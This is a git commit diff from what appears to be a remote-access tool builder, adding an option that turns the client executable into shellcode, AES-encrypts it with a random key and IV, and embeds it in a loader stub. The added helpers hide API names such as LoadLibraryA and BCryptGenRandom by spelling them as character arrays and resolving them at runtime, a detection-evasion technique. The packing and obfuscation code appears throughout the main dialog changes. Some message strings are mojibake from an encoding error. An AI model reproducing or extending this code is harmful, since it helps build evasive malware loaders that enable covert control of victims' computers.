Feature: Add client shellcode building option

This commit is contained in:
yuanyuanxiang
2025-09-01 12:29:52 +08:00
parent f4ae2efbc7
commit d0b6b3938e
12 changed files with 322 additions and 4 deletions

Binary file not shown.

View File

@@ -758,14 +758,16 @@ LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam) {
extern "C" BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction,
LPVOID userData, DWORD userLength, DWORD flags, LPSTR * outBytes, DWORD * outLength);
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength, bool align=false) {
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
LPSTR finalShellcode = NULL;
DWORD finalSize;
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, &finalShellcode, &finalSize)) {
return false;
}
compressedBuffer = new BYTE[finalSize];
int padding = align ? ALIGN16(finalSize) - finalSize : 0;
compressedBuffer = new BYTE[finalSize + padding];
memset(compressedBuffer + finalSize, 0, padding);
ulTotalSize = finalSize;
memcpy(compressedBuffer, finalShellcode, finalSize);

View File

@@ -217,10 +217,12 @@
</ItemDefinitionGroup>
<ItemGroup>
<None Include="..\..\Release\ghost.exe" />
<None Include="..\..\Release\SCLoader.exe" />
<None Include="..\..\Release\ServerDll.dll" />
<None Include="..\..\Release\TestRun.exe" />
<None Include="..\..\Release\TinyRun.dll" />
<None Include="..\..\x64\Release\ghost.exe" />
<None Include="..\..\x64\Release\SCLoader.exe" />
<None Include="..\..\x64\Release\ServerDll.dll" />
<None Include="..\..\x64\Release\TestRun.exe" />
<None Include="..\..\x64\Release\TinyRun.dll" />

View File

@@ -189,6 +189,8 @@
<None Include="res\string.ico" />
<None Include="res\upx.exe" />
<None Include="res\frpc.dll" />
<None Include="..\..\Release\SCLoader.exe" />
<None Include="..\..\x64\Release\SCLoader.exe" />
</ItemGroup>
<ItemGroup>
<Text Include="..\..\ReadMe.md" />

View File

@@ -7,6 +7,9 @@
#include "afxdialogex.h"
#include <io.h>
#include "InputDlg.h"
#include <bcrypt.h>
#include <wincrypt.h>
#include <ntstatus.h>
enum Index
{
@@ -96,6 +99,42 @@ END_MESSAGE_MAP()
std::string ReleaseUPX();
void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress);
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer,
int ulOriginalLength, bool align = false);
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size);
typedef struct SCInfo
{
unsigned char aes_key[16];
unsigned char aes_iv[16];
unsigned char data[4 * 1024 * 1024];
int len;
}SCInfo;
#define GetAddr(mod, name) GetProcAddress(GetModuleHandleA(mod), name)
bool MYLoadLibrary(const char* name) {
char kernel[] = { 'k','e','r','n','e','l','3','2',0 };
char load[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
if (!GetModuleHandleA(name)) {
LoadLibraryF LoadLibraryA = (LoadLibraryF)GetAddr(kernel, load);
return LoadLibraryA(name);
}
return true;
}
void generate_random_iv(unsigned char* iv, size_t len) {
typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
typedef NTSTATUS(WINAPI* BCryptGenRandomF)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG);
char crypt[] = { 'b','c','r','y','p','t',0 };
char name[] = { 'B','C','r','y','p','t','G','e','n','R','a','n','d','o','m',0 };
MYLoadLibrary(crypt);
BCryptGenRandomF BCryptGenRandom = (BCryptGenRandomF)GetAddr(crypt, name);
BCryptGenRandom(NULL, iv, len, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
}
void CBuildDlg::OnBnClickedOk()
{
UpdateData(TRUE);
@@ -230,8 +269,42 @@ void CBuildDlg::OnBnClickedOk()
{
run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true);
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>UPXѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>\r\n<EFBFBD>ļ<EFBFBD>λ<EFBFBD><EFBFBD>: " + strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
}else
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
} else {
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC) {
DWORD dwSize = 0;
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize);
if (data) {
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
if (iOffset != -1) {
SCInfo* sc = (SCInfo*)(data + iOffset);
LPBYTE srcData = (LPBYTE)szBuffer;
int srcLen = dwFileSize;
if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
generate_random_iv(sc->aes_key, 16);
generate_random_iv(sc->aes_iv, 16);
std::string key, iv;
for (int i = 0; i < 16; ++i) key += std::to_string(sc->aes_key[i]) + " ";
for (int i = 0; i < 16; ++i) iv += std::to_string(sc->aes_iv[i]) + " ";
Mprintf("AES_KEY: %s, AES_IV: %s\n", key.c_str(), iv.c_str());
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, sc->aes_key, sc->aes_iv);
AES_CBC_encrypt_buffer(&ctx, srcData, srcLen);
if (srcLen <= 4 * 1024 * 1024) {
memcpy(sc->data, srcData, srcLen);
sc->len = srcLen;
}
SAFE_DELETE_ARRAY(srcData);
PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe"));
strSeverFile.ReleaseBuffer();
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
}
}
}
SAFE_DELETE_ARRAY(data);
}
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n" + strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
}
SAFE_DELETE_ARRAY(szBuffer);
if (index == IndexTestRun_DLL) return;
}
@@ -295,6 +368,7 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboCompress.InsertString(CLIENT_COMPRESS_NONE, "<EFBFBD><EFBFBD>");
m_ComboCompress.InsertString(CLIENT_COMPRESS_UPX, "UPX");
m_ComboCompress.InsertString(CLIENT_COMPRESS_SC, "SHELLCODE");
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
m_OtherItem.ShowWindow(SW_HIDE);

Binary file not shown.